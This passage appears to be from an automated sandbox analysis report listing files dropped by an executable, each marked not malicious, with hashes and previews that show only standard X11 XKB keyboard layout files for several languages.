SHA-256:	6478B4EB61392E076D9D6D8941635BC4CA9992430FB2FFA2913E7AEE95BBA944
SHA-512:	35CC29A53E2985F979F735760A218B71BF40DB1CEB863135E7E25F01AC0E3874801C1035472E06596682718F3A29B3DBEB6DE1906C42C761F2972B4FBB1E6E3E
Malicious:	false
Preview:	default partial alphanumeric_keys.xkb_symbols "basic" {.. include "latin". name[Group1]= "German (Switzerland)";.. key <TLDE> { [ section, degree ] };. key <AE01> { [ 1, plus, bar, exclamdown ] };. key <AE02> { [ 2, quotedbl, at, oneeighth ] };. key <AE03> { [ 3, asterisk, numbersign ] };. key <AE04> { [ 4, ccedilla ] };. key <AE05> { [ 5, percent ] };. key <AE06> { [ 6, ampersand, notsign ] };. key <AE07> { [ 7, slash, bar ] };. key <AE08> { [ 8, parenleft, cent ] };. key <AE09> { [ 9, parenright ] };. key <AE10> { [ 0, equal ] };. key <AE11> { [ apostrophe, question, dead_acute ] };.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\cm

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text, with very long lines (435)
Category:	dropped
Size (bytes):	23033
Entropy (8bit):	5.448659264841432
Encrypted:	false
SSDEEP:	384:yanacucHcsK7lWTCiI4Jcjv48uTZPxt7J263a54hzl497JTVSBlD9ku7NbJHkcVa:3natcH3JcMz3aijWFVSPlpVyVb9
MD5:	C6CC0A0C9E80D6858DE79A149FFAA89B
SHA1:	7891403F90D1AE7605625A8BB160955AA9C47AF6
SHA-256:	24598D4C5FEA2BB55AAC2B8702AA582738FC314027413D6711E2317D2E1C7F0B
SHA-512:	A17C48CED3A5CED8E9E298E024095572F3F6CECAF3E216100151ADFD451AFE94D047C1EDDCE3BF74B1E31BDFC70AFEDF2BCFBA6CF7A0ACED23ED65143A61000D
Malicious:	false
Preview:	// ========== Cameroon Keyboards ==========.// **** For Instructions, see "Use of Cameroon Keyboards" section.below ***...// The XKB versions of these keyboards were developed by Matthew Lee, Jenni Beadle, and Bruce Cox of SIL Cameroon in association with Going Komputya, Uwe Yung of the Goethe Institute, Yaound., and Centre ANACLAC. ..// Cameroon is officially a bilingual country, using French and English, but there are over 270 minority languages. ..// Cameroon Fran.ais is an exact copy of the French France keyboard intended for AZERTY users..// * Cameroon is an exact copy of the Basic US Keyboard. I can not currently name this "Cameroon English" due to a limitation of XKB..// * Cameroon QWERTY and Cameroon AZERTY are based largely on SIL Cameroon's Keyman and Microsoft keyboards of the same style already in wide use. These keyboards are designed to allow the user to type any of Cameroon's 270+ languages and dialects that use the approved orthography. This Approved Orthog

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\cn

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	12017
Entropy (8bit):	4.989837860094274
Encrypted:	false
SSDEEP:	192:4s96tT9QHaW/f5vW8bBdtT9I5gKzSq6Q03nBLbH/euW/BfgYwffq5IkXc:4sQ9QHZnzdtBI5gKzSpQ03nBLbH/eu2o
MD5:	1D7898056BA8B9E3E4D37A076BDEC8A6
SHA1:	702CA32DC7162C085B2C7777C17075FDC08A72DE
SHA-256:	FEF5DE0A947A590CE844E98945A52252E44DC701A0D1BB109F33381FEBCB35EF
SHA-512:	50C3AA4592C087FB278316CEB29846563F5925D0C0B476797CED3EB4D924B165D6E9570F53207D16DCDA595C87FC922CB99B8F290CCAE629C0B3995DB282DCAA
Malicious:	false
Preview:	//.// Default Chinese is the same as American.//.default partial alphanumeric_keys.xkb_symbols "basic" {. include "us(basic)".. name[Group1]= "Chinese";.};..// Tibetan Standard Keyboard map for XKB/X.org.//.// Based on the CNS Tibetan keyboard as supported by Windows Vista.// using information published by Tashi Tsering:.// http://www.yalasoo.com/English/docs/yalasoo_en_MStbKb.html.//.// XKB version by Rich Felker <dalias@aerifal.cx>..//.// The CNS Tibetan keyboard standard specifies 5 keyboards worth of keys,.// but apparently makes no requirements about how each is accessed. Only.// the first 2 are needed for native Tibetan text; the remainder are.// filled with special symbols and letters for transliterating foreign.// text. Further, CNS leaves the level of support of keyboards 2-5 as an.// option to the implementor (despite the fact that #2 is absolutely.// essential...). Windows Vista maps them as follows:.//.// 1. Unshifted.// 2. "m"-key-prefixed.// 3. Shift-modified.// 4.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2303
Entropy (8bit):	5.155735810219819
Encrypted:	false
SSDEEP:	48:pYyERiF+yERiFptiF2yERiFhVbiFQyERiFPfeAiFFxJyERiFRsvpbiFr3JyERiF3:myeiYyeiliQyeihiKyeiPiBJyei7stiS
MD5:	E0690E93330C8565E071B86ACF8D14A0
SHA1:	CF46DBE0FA698EE30137AB0DD5F5093EADE8DB3C
SHA-256:	4DE671ECA3B5CF375C4A4232EB23C68F64B25F836B34A8B180467FF0F4AD5A5D
SHA-512:	B11F85006BED2922D3B019B16B9F8118781C316A8B5CBAA4C6943426715F4F390B7299BAD43041BC1959E7BC96E4CD8B8B534F052468B72D35521ADA7A39E045
Malicious:	false
Preview:	partial modifier_keys.xkb_symbols "ralt" {. key <RALT>.{ type[Group1]="TWO_LEVEL", [ Multi_key, Multi_key ] };.};..partial modifier_keys.xkb_symbols "lwin" {. key <LWIN>.{ type[Group1]="TWO_LEVEL", [ Multi_key, Multi_key ] };.};..partial modifier_keys.xkb_symbols "lwin-altgr" {. key <LWIN>.{ type[Group1]="FOUR_LEVEL", [ Super_L, Super_L, Multi_key, Multi_key ] };.};..partial modifier_keys.xkb_symbols "rwin" {. key <RWIN>.{ type[Group1]="TWO_LEVEL", [ Multi_key, Multi_key ] };.};..partial modifier_keys.xkb_symbols "rwin-altgr" {. key <RWIN>.{ type[Group1]="FOUR_LEVEL", [ Super_R, Super_R, Multi_key, Multi_key ] };.};..partial modifier_keys.xkb_symbols "menu" {. key <MENU>.{ type[Group1]="TWO_LEVEL", [ Multi_key, Multi_key ] };.};..partial modifier_keys.xkb_symbols "menu-altgr" {. key <MENU>.{ type[Group1]="FOUR_LEVEL", [ Menu, Menu, Multi_key, Multi_key ] };.};..partial modifier_keys.xkb_symbols "rctrl" {. key <RCTL> { type[Group1]="TWO_LEVEL", [ Multi_key, Multi

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\ctrl

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1815
Entropy (8bit):	4.8712416469002875
Encrypted:	false
SSDEEP:	48:Io3QLOlJjeNeAUEgD8MeNAKUeg+DPC4yCkvge7C2ggFka:Io3K0Jwed/D8XA7d+DPhyMOegFt
MD5:	1786DEBEF7CFBA8A90305287C15766FD
SHA1:	6D86C6D66C84F01997006BA9F3C61AE7873F2C39
SHA-256:	876F3F17A2CDB97A8EDCC2703C81D8F844B650243A69E93075FE032320014665
SHA-512:	519543A96945E58580922E780AB5D45FC7144B41B7D0DC2F0BA0D6714A29A390B0BE9A0D6C9E80669512410D4F299D0F3911E26E68FF9E9ED13CACE52CA57B53
Malicious:	false
Preview:	// Eliminate CapsLock, making it another Ctrl..partial modifier_keys .xkb_symbols "nocaps" {. replace key <CAPS>.{ [ Control_L, Control_L ] };. modifier_map Control { <CAPS>, <LCTL> };.};..// Make the left Ctrl key a left Meta..xkb_symbols "lctrl_meta" {. replace key <LCTL>.{ [ Meta_L ] };.};..// Swap the functions of the CapsLock key and the left Ctrl key..partial modifier_keys .xkb_symbols "swapcaps" {. replace key <CAPS>.{ [ Control_L ] };. replace key <LCTL>.{ [ Caps_Lock ] };.};..// Move Ctrl to the leftmost key on the middle row and CapsLock to the.// leftmost key on the bottom row. Only works if the geometry or keycodes.// file has defined appropriate aliases for the keys in question..partial modifier_keys .xkb_symbols "ac_ctrl" {. replace key <AC00>.{ [ Control_L ] };. replace key <AA00>.{ [ Caps_Lock ] };.};..// Move Ctrl to the leftmost key on the bottom row and CapsLock to the.// leftmost key on the middle row. Only works if the geometry or keycodes./

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\cz

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	8150
Entropy (8bit):	4.520201044965708
Encrypted:	false
SSDEEP:	192:wF+QjKH2Pbl7aA4QKj0Xof+HrlONWQKAG:wkQeH2zl7aA4QKjUof+HgNHKL
MD5:	743C63BFEF3507902D5CC9B9E5E1FC03
SHA1:	F5F9BB0308700F2FCBA65EC9E97B1C8AB284190A
SHA-256:	4C22A1EFDC057592843DC34A69A0EE602681CE4C53EF77E529114908BCEBEC9E
SHA-512:	C00016872779898C33DDE9DA5271C6EDB54B0A46CB803542D4F4DCE0F388D8D812F55315FCF0593CACA77AB7573E28B53042D57DF4421311FBED69617C58D5EE
Malicious:	false
Preview:	default partial alphanumeric_keys.xkb_symbols "basic" {. . // This layout conforms to a new cz compromise standard designed . // to satisfy most unix, windows and mac users.. // 2001 by Kamil Toman <ktoman@email.cz>.. include "latin".. name[Group1]= "Czech";.. key <TLDE>.{ [ semicolon, dead_abovering, grave, asciitilde ].};. key <AE01>.{ [ plus, 1, exclam, dead_tilde ].};. key <AE02>.{ [ ecaron, 2, at, dead_caron ].};. key <AE03>.{ [ scaron, 3, numbersign, dead_circumflex ] };. key <AE04>.{ [ ccaron, 4, dollar, dead_breve ].};. key <AE05>.{ [ rcaron, 5, percent, dead_abovering ] };. key <AE06>.{ [ zcaron, 6, asciicircum, dead_ogonek ].};. key <AE07>.{ [ yacute, 7, ampersand, dead_grave ].};. key <AE08>.{ [ aacute, 8, asterisk, dead_abovedot].};. key <AE09>.{ [ iacute, 9, b

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\de

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	47470
Entropy (8bit):	4.035906373758409
Encrypted:	false
SSDEEP:	768:L2sIBqrYFCZ5TX0OSil3sJFAbA3SSJHI93S8+FelYU:L2sIBqrYFCXD0JJISJHIdSeYU
MD5:	E62DAD62FE702993353FBE448252CFCB
SHA1:	1BB1414FE315F0004A4FBD4FA0577B781EDA9D76
SHA-256:	0ACF97E4E77FAF8C185269B3F7D5D2C0B26588AA65ADEADC30780AB9FD3239F6
SHA-512:	A520010C3676775457E526FDD71E02DDC0E53A84577968E5AA90B0F71F9F9C1B81700CDDD18E99536F5FE0B43A1BCD15CE0A8E491380A453C7F3C5264AD722AB
Malicious:	false
Preview:	// based on a keyboard map from an 'xkb/symbols/de' file..default.xkb_symbols "basic" {.. include "latin(type4)".. name[Group1]="German";.. key <AE02>.{ [ 2, quotedbl, twosuperior, oneeighth ].};. key <AE03>.{ [ 3, section, threesuperior, sterling ].};. key <AE04>.{ [ 4, dollar, onequarter, currency ].};.. key <AE11> {type[Group1]="FOUR_LEVEL_PLUS_LOCK", symbols[Group1]=. [ssharp, question, backslash, questiondown, 0x1001E9E ]};.// The unicode capital letter sharp s U+1E9E is transformed to "SS".// to match the rules for capitalizing sharp s in german..// If the capital sharp s is needed, delete the line.// starting with <U1E9C> from /usr/share/X11/locale/iso8859-15/Compose..// If both doubled S and capital sharp s are needed, use 0x1001E9E.// for capital sharp s and some free unicode codepoint like 0x1001E9C.// for doubled S. Don`t forget to change this in the Compose file, too... key <AE12>.{ [dead_

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\digital_vndr\lk

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4361
Entropy (8bit):	5.264483332850246
Encrypted:	false
SSDEEP:	96:/PQ4YQHqKoTrCvmIN5pF+tdIJHtsJRKj1a/weL:zYQHbYrCeIdwusUS
MD5:	43DA7E0C6FDE549BEA7960B84D9CAE81
SHA1:	5CDF8EA329F0EEF5756A7B30BEB95771E029EE48
SHA-256:	3E89A73619C17C7DC97E80C7C8A9C283CA08A62C5DB0A7304725805967583C88
SHA-512:	C3BE90285A8036B64D5FB8727CB63E4A61DFE1245E6A9CB9A229651CEBF05C579BC4110F90B539C161F504E3A6F8B03727B877B76238CEE4DBCCE956CF8AA9E7
Malicious:	false
Preview:	//.//Copyright (c) 1996 Digital Equipment Corporation.//.//Permission is hereby granted, free of charge, to any person obtaining.//a copy of this software and associated documentation files (the.//"Software"), to deal in the Software without restriction, including.//without limitation the rights to use, copy, modify, merge, publish,.//distribute, sublicense, and sell copies of the Software, and to.//permit persons to whom the Software is furnished to do so, subject to.//the following conditions:.//.//The above copyright notice and this permission notice shall be included.//in all copies or substantial portions of the Software..//.//THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.//OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.//MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..//IN NO EVENT SHALL DIGITAL EQUIPMENT CORPORATION BE LIABLE FOR ANY CLAIM,.//DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR.//OTHE

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\digital_vndr\pc

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6199
Entropy (8bit):	5.088261950436708
Encrypted:	false
SSDEEP:	96:/PQ4YQHqKoTrCvbUmlN3Meua9w++ymIWHO0HH01Qe0L3Y6jT4vf:zYQHbYrCjUmXRh9w+1o/H9exO0H
MD5:	8EA4C351038A868C4F89257066946DB3
SHA1:	A9782301D8529C64804435ECDE41F7509B5587EC
SHA-256:	90DB0A1345504DB8DF4AB2552691D6E00736F3E55FE7EC031877E714AF4B07C3
SHA-512:	7F0548EAEF555E55FC1E0B2682758E9C4D151AA5E15B9971D5D17982A0A351AA5900A3873361E544748146DF1930A3CE9CCD58AEDD63A59B2B66DB44FDE47757
Malicious:	false
Preview:	//.//Copyright (c) 1996 Digital Equipment Corporation.//.//Permission is hereby granted, free of charge, to any person obtaining.//a copy of this software and associated documentation files (the.//"Software"), to deal in the Software without restriction, including.//without limitation the rights to use, copy, modify, merge, publish,.//distribute, sublicense, and sell copies of the Software, and to.//permit persons to whom the Software is furnished to do so, subject to.//the following conditions:.//.//The above copyright notice and this permission notice shall be included.//in all copies or substantial portions of the Software..//.//THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.//OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.//MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..//IN NO EVENT SHALL DIGITAL EQUIPMENT CORPORATION BE LIABLE FOR ANY CLAIM,.//DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR.//OTHE

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\digital_vndr\us

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7959
Entropy (8bit):	5.142127276413564
Encrypted:	false
SSDEEP:	192:zYQHbYrCjYpCkH+HKJxblW9McQYN/ZphRyILK3129:zYEYrCjECkH+HKJxblW9McRRp6ILK31q
MD5:	5093D2A15F033A836000C9FE0B1E96DC
SHA1:	AAB73503AF2ECD681B71829F06FD37D562C3E304
SHA-256:	73CE2B3B3C803733F5E3D980FF02A81BDF66E4EAE7366F9303D5349A4367FCA9
SHA-512:	964C1794E6B89356A79C30796CFE09A71946394793A0AD7F6A1E5CEB13691A4D609A4E6162B1C91B1E0B63064453ACE60638A12A193317C54CBFA9B26F22B065
Malicious:	false
Preview:	//.//Copyright (c) 1996 Digital Equipment Corporation.//.//Permission is hereby granted, free of charge, to any person obtaining.//a copy of this software and associated documentation files (the.//"Software"), to deal in the Software without restriction, including.//without limitation the rights to use, copy, modify, merge, publish,.//distribute, sublicense, and sell copies of the Software, and to.//permit persons to whom the Software is furnished to do so, subject to.//the following conditions:.//.//The above copyright notice and this permission notice shall be included.//in all copies or substantial portions of the Software..//.//THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.//OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.//MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..//IN NO EVENT SHALL DIGITAL EQUIPMENT CORPORATION BE LIABLE FOR ANY CLAIM,.//DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR.//OTHE

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\digital_vndr\vt

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5462
Entropy (8bit):	4.935319517199938
Encrypted:	false
SSDEEP:	96:/PQ4YQHqKoTrCvbhQ/FVZwIgRioY3H2RkQQDtLcyPTvGgX9r:zYQHbYrCjhQ/FnNOiR3OTFsygp
MD5:	14BED7F9ED518E33D8E4307CC4C17CC0
SHA1:	83D56898499694290FF4F3144B0D56B1DCE3BBBD
SHA-256:	88B0673C4FBF9F3B8BF4F8993C16C2B6BE3FAA296CAA3DB48B82CB60FF01D992
SHA-512:	0799BABBDE37A12E424C22441146D978B67DE30BCE3F0330F7DD8DDF899422D94E86EC057513C081BA622A01478671DB58000F9F5AADBB4318ACED1CBAE36CBF
Malicious:	false
Preview:	//.//Copyright (c) 1996 Digital Equipment Corporation.//.//Permission is hereby granted, free of charge, to any person obtaining.//a copy of this software and associated documentation files (the.//"Software"), to deal in the Software without restriction, including.//without limitation the rights to use, copy, modify, merge, publish,.//distribute, sublicense, and sell copies of the Software, and to.//permit persons to whom the Software is furnished to do so, subject to.//the following conditions:.//.//The above copyright notice and this permission notice shall be included.//in all copies or substantial portions of the Software..//.//THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS.//OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.//MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..//IN NO EVENT SHALL DIGITAL EQUIPMENT CORPORATION BE LIABLE FOR ANY CLAIM,.//DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR.//OTHE

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\dk

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2395
Entropy (8bit):	4.754258747049761
Encrypted:	false
SSDEEP:	24:XPcT608ynFRBmDTGga4Y+yLd1zy8O2GpGoLde603o8XYyKCxp4bSA21NxJq/Pdyd:Q8yFRwYh5+GXGy5oeuc8DlV6oqo5ZoPv
MD5:	ED86AA87EE3530845D217AA7A46ACC1B
SHA1:	719E3F6FE25D27371721695E99205F88C9EF3867
SHA-256:	827B1DCDCCBCDA9CB221A9EC8DEF2C50323A8F023E12A287DCEE7B0C55A2390B
SHA-512:	C2BD5880BC34DE885F7D5EA939F26BB7B098A2670C7E2D86CE61690C06BD60C9B1A58D8699C026777CC936AB4B7645D942E65395CA195CB47335F9BACFC97A18
Malicious:	false
Preview:	// based on a keyboard map from an 'xkb/symbols/dk' file..default partial alphanumeric_keys.xkb_symbols "basic" {.. include "latin(type2)".. name[Group1]="Danish";.. key <AE11>.{ [ plus, question, plusminus, questiondown ].};. key <AE12>.{ [dead_acute, dead_grave, bar, userenbar ].};... key <AC10>.{ [ ae, AE, dead_acute, dead_doubleacute ] };. key <AC11>.{ [ oslash, Ooblique, dead_circumflex, dead_caron ].};. key <TLDE>.{ [ onehalf, section, threequarters, paragraph ].};.. key <BKSL>.{ [apostrophe, asterisk, dead_doubleacute, multiply ].};.. key <LSGT>.{ [ less, greater, backslash, notsign ].};.. include "kpdl(comma)".. include "level3(ralt_switch)".};..partial alphanumeric_keys.xkb_symbols "nodeadkeys" {.. include "dk(basic)".. name[Group1]="Danish (eliminate dead keys)";.. key <AE12>.{ [ acute, grave, bar, ogonek ].};. key <AD11>.{ [ aring,

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\ee

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	4168
Entropy (8bit):	4.642536385592189
Encrypted:	false
SSDEEP:	48:SMnrYzv821ky0U/sVt1jIdx2S0npDzsoxPBaqZF2AHTp5+K0gfw4kdbi:FnrYzvP18ssTdID29pfsotBpTaKHfwa
MD5:	F5591A8C42CCF3DE397FD5E3109BB720
SHA1:	17137BB85DB21AA574C73730B41A1CE4CED35874
SHA-256:	1D8393FA9E18EE8DC88DDEFE0318A2310447B2527B6DDF2284FFF76D4AC01C78
SHA-512:	E7B079A1F3F66CF0142C0338F84A89F312F02A837F85E64273CDB8C3CD99E965573A6A964E536D94DA89115711799295511FBB71451FDB60102E52CE98D02E98
Malicious:	false
Preview:	// based on.// Estonian XKB-keymap by Ville Hallik <ville@linux.ee>.//..default partial alphanumeric_keys.xkb_symbols "basic" {.. // Describes the differences between a very simple en_US. // keyboard and a very simple Estonian keyboard. // This layout conforms to both EVS8:1993 and EVS8:2000 standards.. include "latin(type4)".. name[Group1]="Estonian";.. key <AE03>.{ [ 3, numbersign, sterling, sterling ].};. key <AE04>.{ [ 4, currency, dollar, dollar ].};. key <AE11>.{ [ plus, question, backslash, questiondown ].};. key <AE12>.{ [dead_acute, dead_grave, grave, apostrophe ].};.. key <AD11>.{ [udiaeresis, Udiaeresis, dead_diaeresis, dead_abovering ] };. key <AD12>.{ [ otilde, Otilde, section, dead_macron ].};.. key <AC02>.{ [ s, S, scaron, Scaron ].};. key <AC10>.{ [odiaeresis, Odiaeresis, dead_acute, dead_doubleacute ] };. key <AC11>.{ [adiaeres

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\empty

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	101
Entropy (8bit):	4.731743624335639
Encrypted:	false
SSDEEP:	3:Ng/GkEk1MtvcWZBPF0H90aHtwFFFCIAKx4oAmzv:NgBEk1av10d0fFYbKx4oA4
MD5:	83FC79F9868BB6E455CF5E409C71B140
SHA1:	3BA47F6EC6ED740510A3FBB5F6B90FC23B22DE67
SHA-256:	BD92DE64321C5ACDE40046673CEAC3649DB2C6FBB72AEF2A8C4EF5229163A91F
SHA-512:	EBB3F09CEE38661169932F417580AA0A59C4DC7C20DDBBC3BF20CD04ADD7D0E071BCE9AD258F0A772D2F88680131417B4CADD6100680057A30602A437BA60765
Malicious:	false
Preview:	default partial alphanumeric_keys modifier_keys.xkb_symbols "basic" {. name[Group1]= "Empty";.};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\epo

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	7633
Entropy (8bit):	4.487336317466797
Encrypted:	false
SSDEEP:	96:gHWpcSHj4Y3hJdXNdfOEJhEGrVaypdXr2Mo7eigGSvKy:g0D4Qd9df9+Gd2MoN/4L
MD5:	840301671BDDE65AB6AB134622F09CCF
SHA1:	D2FBA3C382EFB3FC1C5D0DF10CA1A4FB5412E1EF
SHA-256:	B0FE1E0C289E1DEA0A7B814A061C950232F8D4759940E9FAFCC291019D6097B0
SHA-512:	C5736D8FC8D53E8966A854AB7526473083F7F0D18443045415E77AAB2089926049E106E6C794F4C28D664B5AA9184E33A4E12271504F8FF7941053EBA43F67E7
Malicious:	false
Preview:	// Esperanto keyboard maps -- "Ekverto".//.// Ekverto A ("legacy") (2004-01-10).// Chusslove Illich (.aslavo Ili.o) <caslav.ilic@gmx.net>.//.// Ekverto B ("basic") (2006-12-02).// Benno Schulenberg (Beno S.ilenber.) <bensberg@justemail.net>.// Chusslove Illich (.aslavo Ili.o) <caslav.ilic@gmx.net>..default partial alphanumeric_keys.xkb_symbols "basic" {.. name[Group1]= "Esperanto";.. include "us(basic)".. key.type[Group1] = "FOUR_LEVEL_ALPHABETIC";.. key <AD01> { [ scircumflex, Scircumflex, q, Q ] };. key <AD02> { [ gcircumflex, Gcircumflex, w, W ] };. key <AB02> { [ ccircumflex, Ccircumflex, x, X ] };. key <AD06> { [ ubreve, Ubreve, y, Y ] };.. key.type[Group1] = "FOUR_LEVEL_SEMIALPHABETIC";.. key <AD11> { [ jcircumflex, Jcircumflex, bracketleft, braceleft ] };. key <AD12> { [ hcircumflex, Hcircumflex, bracketright, braceright ] };.. key <AD09> { [ o,

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\es

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	10068
Entropy (8bit):	4.56003699355744
Encrypted:	false
SSDEEP:	192:UzkaJ1vayY821RSDXUG/napwWhCOaJWYWQt6+O7VxSzgL6gkruLun5fy:Uzka7vayY8CR8kGPaptaAhQt6X73Szg9
MD5:	50F60DD29CE94CFAC698294BAC9C1956
SHA1:	01119C15F2373AA93851F3E6F5390765A0CFABDF
SHA-256:	B0F496C244DC46651B9C5C22DD5DAA2917845E1E144386FD224B508DF9ED0CA3
SHA-512:	62E508DD478D1BD311896174EB9719F7BB1837AC64C9E31591BE58D1BC4AFFE66A47B7E58310AEA28D4466BD66DE308DA0A7EB28F0BD4AD5AC43030FEB153CE6
Malicious:	false
Preview:	// Modified for a real Spanish keyboard by Jon Tombs...default partial alphanumeric_keys.xkb_symbols "basic" {.. include "latin(type4)".. name[Group1]="Spanish";.. key <AE01>.{ [ 1, exclam, bar, exclamdown ].};. key <AE03>.{ [ 3, periodcentered, numbersign, sterling ].};. key <AE04>.{ [ 4, dollar, asciitilde, dollar ].};. key <AE06>.{ [ 6, ampersand, notsign, fiveeighths ].};. key <AE11>.{ [apostrophe, question, backslash, questiondown ].};. key <AE12>.{ [exclamdown, questiondown, dead_tilde, asciitilde ].};.. key <AD11>.{ [dead_grave, dead_circumflex, bracketleft, dead_abovering ] };. key <AD12>.{ [ plus, asterisk, bracketright, dead_macron ].};.. key <AC10>.{ [ ntilde, Ntilde, asciitilde, dead_doubleacute ].};. key <AC11>.{ [dead_acute, dead_diaeresis, braceleft, braceleft ].};. key <TLDE>.{ [ masculine, ordfeminine, backslash, backslash ].};.. key

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\et

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3134
Entropy (8bit):	4.405117192800045
Encrypted:	false
SSDEEP:	48:HzjGWE6qK/lOa1Jh7SfOQ+mjyPFuMksIaLUbFLtg3:HzYEUajhAO3CyKXVbFLQ
MD5:	7F2E876F4D4703BA48836DE05B72E98B
SHA1:	31831AF1B34D5208524D16595BC1A07398747825
SHA-256:	C49159F94D74FABB6C1324B1F2CFCE313F25C68584821B1748B9AD59715B0888
SHA-512:	550D47793E3634B7CE125A5A42EF2E426BD3BEB52DF9FCEBE134EE51C236978F56112754DA47A93949F8D8293D01147A6A5CE9479AD74C29AFFFCA1F3897819A
Malicious:	false
Preview:	//.// Ethiopia.// Designed as a part of OLPC project.//.// 2007 Sergey Udaltsov <svu@gnome.org>.//..default partial alphanumeric_keys.xkb_symbols "basic" {. include "et(olpc)". name[Group1]="Amharic";.};..partial alphanumeric_keys.xkb_symbols "olpc" {.. name[Group1]="Amharic";.. key <AE01>.{ [ 0x01001369, 0x01001372 ] }; // 1. key <AE02>.{ [ 0x0100136a, 0x01001373 ] }; // 2. key <AE03>.{ [ 0x0100136b, 0x01001374 ] }; // 3 . key <AE04>.{ [ 0x0100136c, 0x01001375 ] }; // 4. key <AE05>.{ [ 0x0100136d, 0x01001376 ] }; // 5. key <AE06>.{ [ 0x0100136e, 0x01001377 ] }; // 6. key <AE07>.{ [ 0x0100136f, 0x01001378 ] }; // 7. key <AE08>.{ [ 0x01001370, 0x01001379 ] }; // 8. key <AE09>.{ [ 0x01001371, 0x0100137a ] }; // 9. key <AE10>.{ [ 0x0100137b, 0x0100137c ] }; // 0. key <AE11>.{ [ minus, underscore ] }; // -_. key <AE12>.{ [ equal, plus

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\eurosign

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	629
Entropy (8bit):	4.842727422048427
Encrypted:	false
SSDEEP:	12:jCMmGMxhCUMmGkIw53C6YMmG7hUC0MmGvERmFjCl:OMmGMnFMmGNwtfYMmG7hU9MmGcRSA
MD5:	32C5806265A68066ACD1225EB5CF54AB
SHA1:	12929768185494A7245B0C5D048577391F912F45
SHA-256:	EC63FD5AFA4E85B86C9502F8AD4F1B087AFD40967D24A3B01F8046F1A2407D63
SHA-512:	A34EB30B4EA0BAC6EC4363DA9C7AAFC4D1559A93B0923B0539AE76306A211C97403196B5E796366A1ACBB0163EB28268C78526D46584DAF94F6C0CCA5268B832
Malicious:	false
